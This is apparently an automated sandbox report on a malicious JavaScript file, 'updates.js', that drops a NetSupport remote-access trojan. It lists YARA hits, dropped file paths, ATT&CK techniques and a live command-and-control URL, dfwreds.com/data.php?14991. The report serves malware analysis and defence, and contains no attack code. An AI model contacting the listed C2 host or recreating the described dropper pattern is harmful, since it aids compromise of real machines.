Source: Yara match	File source: 00000008.00000000.1986528123.0000000000952000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1908960911.0000000011194000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1988466728.00000000111E2000.00000004.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2968386737.0000000000952000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1988422325.0000000011194000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1816720389.00000170BAECC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1816720389.00000170BAFFD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1816720389.00000170BAEAD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1816720389.00000170BAED6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1907401442.0000000000952000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1987638721.0000000000952000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2969282587.00000000037E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1907824908.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1905398866.0000000000952000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2971125252.000000006F160000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.1780896953.0000000000952000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1816720389.00000170BABCF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7424, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 7968, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\GRDCWLLI20\pcicapi.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\GRDCWLLI20\PCICHEK.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\GRDCWLLI20\HTCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\GRDCWLLI20\TCCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\GRDCWLLI20\PCICL32.DLL, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	12 Scripting	2 Valid Accounts	1 Windows Management Instrumentation	12 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	4 Native API	1 DLL Side-Loading	2 Valid Accounts	4 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Screen Capture	22 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	2 Valid Accounts	21 Access Token Manipulation	11 Software Packing	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Command and Scripting Interpreter	1 Windows Service	1 Windows Service	1 DLL Side-Loading	NTDS	34 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 Service Execution	1 Registry Run Keys / Startup Folder	13 Process Injection	1 Masquerading	LSA Secrets	141 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	3 PowerShell	RC Scripts	1 Registry Run Keys / Startup Folder	2 Valid Accounts	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	31 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	13 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\GRDCWLLI20\HTCTL32.DLL	13%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Roaming\GRDCWLLI20\PCICHEK.DLL	5%	ReversingLabs
C:\Users\user\AppData\Roaming\GRDCWLLI20\PCICL32.DLL	6%	ReversingLabs
C:\Users\user\AppData\Roaming\GRDCWLLI20\TCCTL32.DLL	6%	ReversingLabs
C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	26%	ReversingLabs	Win32.Trojan.NetSupport
C:\Users\user\AppData\Roaming\GRDCWLLI20\msvcr100.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\GRDCWLLI20\pcicapi.dll	3%	ReversingLabs
C:\Users\user\AppData\Roaming\GRDCWLLI20\remcmdstub.exe	24%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://www.symauth.com/cps0(	0%	URL Reputation	safe
http://www.symauth.com/rpa00	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe
https://yandex.com/support/browser/security/protection.htmlCopie	0%	Avira URL Cloud	safe
https://yandex.com/support/browser/security/internet-fraud.xml	0%	Avira URL Cloud	safe
http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)	0%	Avira URL Cloud	safe
https://github.com/apache/incubator-echarts/issues/11369	0%	Avira URL Cloud	safe
https://yandex.com/support/yabrowser/security/sms-fraud.xml	0%	Avira URL Cloud	safe
http://geo.netsupportsoftware.com/location/loca.asp	0%	Avira URL Cloud	safe
https://yandex.com/safety/?frombrowser=yes?url=$2	0%	Avira URL Cloud	safe
https://jsperf.com/try-catch-performance-overhead	0%	Avira URL Cloud	safe
https://yandex.com/safety/?frombrowser=yes?url=$3	0%	Avira URL Cloud	safe
https://github.com/d3/d3/blob/b516d77fb8566b576088e73410437494717ada26/src/layout/force.js	0%	Avira URL Cloud	safe
http://127.0.0.1RESUMEPRINTING	0%	Avira URL Cloud	safe
https://github.com/d3/d3/blob/b516d77fb8566b576088e73410437494717ada26/src/time/scale.js	0%	Avira URL Cloud	safe
http://%s/fakeurl.htm	0%	Avira URL Cloud	safe
https://jsbench.me/2vkpcekkvw/1)	0%	Avira URL Cloud	safe
https://yandex.uz/support/browser/security/internet-fraud.xml	0%	Avira URL Cloud	safe
https://developer.mozilla.org/en-US/docs/Web/Events/mousewheel)	0%	Avira URL Cloud	safe
http://%s/testpage.htm	0%	Avira URL Cloud	safe
https://github.com/d3/d3-hierarchy/blob/4c1f038f2725d6eae2e49b61d01456400694bac4/src/tree.js	0%	Avira URL Cloud	safe
https://github.com/apache/incubator-echarts/issues/12229	0%	Avira URL Cloud	safe
https://echarts.apache.org/examples/en/editor.html?c=custom-gantt-flight	0%	Avira URL Cloud	safe
http://94.158.245.103/fakeurl.htm	0%	Avira URL Cloud	safe
http://dfwreds.com/data.ph	0%	Avira URL Cloud	safe
http://dfwreds.com	0%	Avira URL Cloud	safe
https://yandex.com/support/browser/security/protection.htmlSafe	0%	Avira URL Cloud	safe
https://graphics.ethz.ch/teaching/scivis_common/Literature/squarifiedTreeMaps.pdf	0%	Avira URL Cloud	safe
https://github.com/d3/d3/blob/9cc9a875e636a1dcf36cc1e07bdf77e1ad6e2c74/src/arrays/quantile.js	0%	Avira URL Cloud	safe
https://yandex.uz/safety/?frombrowser=yes&url=$2	0%	Avira URL Cloud	safe
https://github.com/apache/echarts/issues/14266	0%	Avira URL Cloud	safe
https://github.com/d3/d3/blob/9cc9a875e636a1dcf36cc1e07bdf77e1ad6e2c74/src/layout/treemap.js	0%	Avira URL Cloud	safe
https://tc39.github.io/ecma262/#sec-daylight-saving-time-adjustment).	0%	Avira URL Cloud	safe
https://oneget.orgX	0%	Avira URL Cloud	safe
https://yandex.uz/support/browser/security/protection.htmlXavfsiz	0%	Avira URL Cloud	safe
https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/globalsCompositeOperation	0%	Avira URL Cloud	safe
http://0.30000000000000004.com/	0%	Avira URL Cloud	safe
https://yandex.com/safety/?frombrowser=yes&url=$3	0%	Avira URL Cloud	safe
https://yandex.com/safety/?frombrowser=yes&url=$1	0%	Avira URL Cloud	safe
http://dfwreds.com/data.php?14991	100%	Avira URL Cloud	malware
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
https://momentjs.com/	0%	Avira URL Cloud	safe
https://yandex.com/safety/?frombrowser=yes&url=$2	0%	Avira URL Cloud	safe
http://127.0.0.1	0%	Avira URL Cloud	safe
https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/variableCompositeOperation	0%	Avira URL Cloud	safe
https://github.com/ecomfe/zrender/blob/master/LICENSE.txt	0%	Avira URL Cloud	safe
https://yandex.com/support/browser/security/protection.html	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
geo.netsupportsoftware.com	104.26.0.231	true	false		unknown
dfwreds.com	23.227.193.59	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://geo.netsupportsoftware.com/location/loca.asp	false	Avira URL Cloud: safe	unknown
http://94.158.245.103/fakeurl.htm	false	Avira URL Cloud: safe	unknown
http://dfwreds.com/data.php?14991	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/apache/incubator-echarts/issues/11369	wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://yandex.com/safety/?frombrowser=yes?url=$3	powershell.exe, 00000001.00000002.1816720389.00000170BB04E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://yandex.com/safety/?frombrowser=yes?url=$2	powershell.exe, 00000001.00000002.1816720389.00000170BB04E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://yandex.com/support/yabrowser/security/sms-fraud.xml	powershell.exe, 00000001.00000002.1816720389.00000170BB04E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)	client32.exe, 00000007.00000002.1908960911.0000000011194000.00000002.00000001.01000000.00000007.sdmp	false	Avira URL Cloud: safe	unknown
https://yandex.com/support/browser/security/internet-fraud.xml	powershell.exe, 00000001.00000002.1816720389.00000170BB04E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/d3/d3/blob/b516d77fb8566b576088e73410437494717ada26/src/layout/force.js	wscript.exe, 00000000.00000003.1662763001.000002211256B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.000002211342F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000001.00000002.1839088758.00000170CA885000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://yandex.com/support/browser/security/protection.htmlCopie	powershell.exe, 00000001.00000002.1816720389.00000170BB04E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jsperf.com/try-catch-performance-overhead	wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1RESUMEPRINTING	client32.exe, 00000007.00000002.1908960911.0000000011194000.00000002.00000001.01000000.00000007.sdmp	false	Avira URL Cloud: safe	unknown
https://jsbench.me/2vkpcekkvw/1)	wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://%s/testpage.htm	client32.exe	false	Avira URL Cloud: safe	unknown
https://yandex.uz/support/browser/security/internet-fraud.xml	powershell.exe, 00000001.00000002.1816720389.00000170BB0F0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/d3/d3/blob/b516d77fb8566b576088e73410437494717ada26/src/time/scale.js	wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/en-US/docs/Web/Events/mousewheel)	wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://%s/fakeurl.htm	client32.exe	false	Avira URL Cloud: safe	unknown
https://github.com/apache/incubator-echarts/issues/12229	wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/d3/d3-hierarchy/blob/4c1f038f2725d6eae2e49b61d01456400694bac4/src/tree.js	wscript.exe, 00000000.00000003.1662763001.000002211256B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.000002211342F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://echarts.apache.org/examples/en/editor.html?c=custom-gantt-flight	wscript.exe, 00000000.00000003.1662763001.000002211256B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.000002211342F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://dfwreds.com	powershell.exe, 00000001.00000002.1816720389.00000170BBE72000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAA33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BBD31000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://dfwreds.com/data.ph	wscript.exe	true	Avira URL Cloud: safe	unknown
https://yandex.com/support/browser/security/protection.htmlSafe	powershell.exe, 00000001.00000002.1816720389.00000170BB04E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000001.00000002.1839088758.00000170CA885000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.1816720389.00000170BC156000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1839088758.00000170CA885000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://oneget.orgX	powershell.exe, 00000001.00000002.1816720389.00000170BBE9A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://graphics.ethz.ch/teaching/scivis_common/Literature/squarifiedTreeMaps.pdf	wscript.exe, 00000000.00000003.1662763001.000002211256B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.000002211342F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://yandex.uz/safety/?frombrowser=yes&url=$2	powershell.exe, 00000001.00000002.1816720389.00000170BB0F0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tc39.github.io/ecma262/#sec-daylight-saving-time-adjustment).	wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/d3/d3/blob/9cc9a875e636a1dcf36cc1e07bdf77e1ad6e2c74/src/arrays/quantile.js	wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/d3/d3/blob/9cc9a875e636a1dcf36cc1e07bdf77e1ad6e2c74/src/layout/treemap.js	wscript.exe, 00000000.00000003.1662763001.000002211256B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.000002211342F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.1816720389.00000170BC156000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1839088758.00000170CA885000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BBE9A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000001.00000002.1816720389.00000170BC0D0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000001.00000002.1816720389.00000170BC0D0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://go.micro	powershell.exe, 00000001.00000002.1816720389.00000170BB331000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/apache/echarts/issues/14266	wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000001.00000002.1839088758.00000170CA885000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://yandex.uz/support/browser/security/protection.htmlXavfsiz	powershell.exe, 00000001.00000002.1816720389.00000170BB0F0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://0.30000000000000004.com/	wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1	client32.exe, client32.exe, 00000007.00000002.1908960911.0000000011194000.00000002.00000001.01000000.00000007.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	powershell.exe, 00000001.00000002.1816720389.00000170BAFFD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAECC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAF06000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEAD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAED6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEF8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://momentjs.com/	wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000001.00000002.1816720389.00000170BC0D0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://yandex.com/safety/?frombrowser=yes&url=$1	powershell.exe, 00000001.00000002.1816720389.00000170BB04E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/globalsCompositeOperation	wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/rpa00	powershell.exe, 00000001.00000002.1816720389.00000170BAFFD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAECC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAF06000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEAD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAED6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEF8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://yandex.com/safety/?frombrowser=yes&url=$3	powershell.exe, 00000001.00000002.1816720389.00000170BB04E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://yandex.com/safety/?frombrowser=yes&url=$2	powershell.exe, 00000001.00000002.1816720389.00000170BB04E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/variableCompositeOperation	wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/ecomfe/zrender/blob/master/LICENSE.txt	wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oneget.org	powershell.exe, 00000001.00000002.1816720389.00000170BBE9A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://yandex.com/support/browser/security/protection.html	powershell.exe, 00000001.00000002.1816720389.00000170BB0F0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
94.158.245.103	unknown	Moldova Republic of	39798	MIVOCLOUDMD	false
23.227.193.59	dfwreds.com	United States	29802	HVC-ASUS	true
104.26.0.231	geo.netsupportsoftware.com	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1474469
Start date and time:	2024-07-16 22:28:51 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	updates.js
Detection:	MAL
Classification:	mal100.rans.troj.expl.evad.winJS@8/28@3/3
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 74% Number of executed functions: 134 Number of non-executed functions: 234
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7424 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
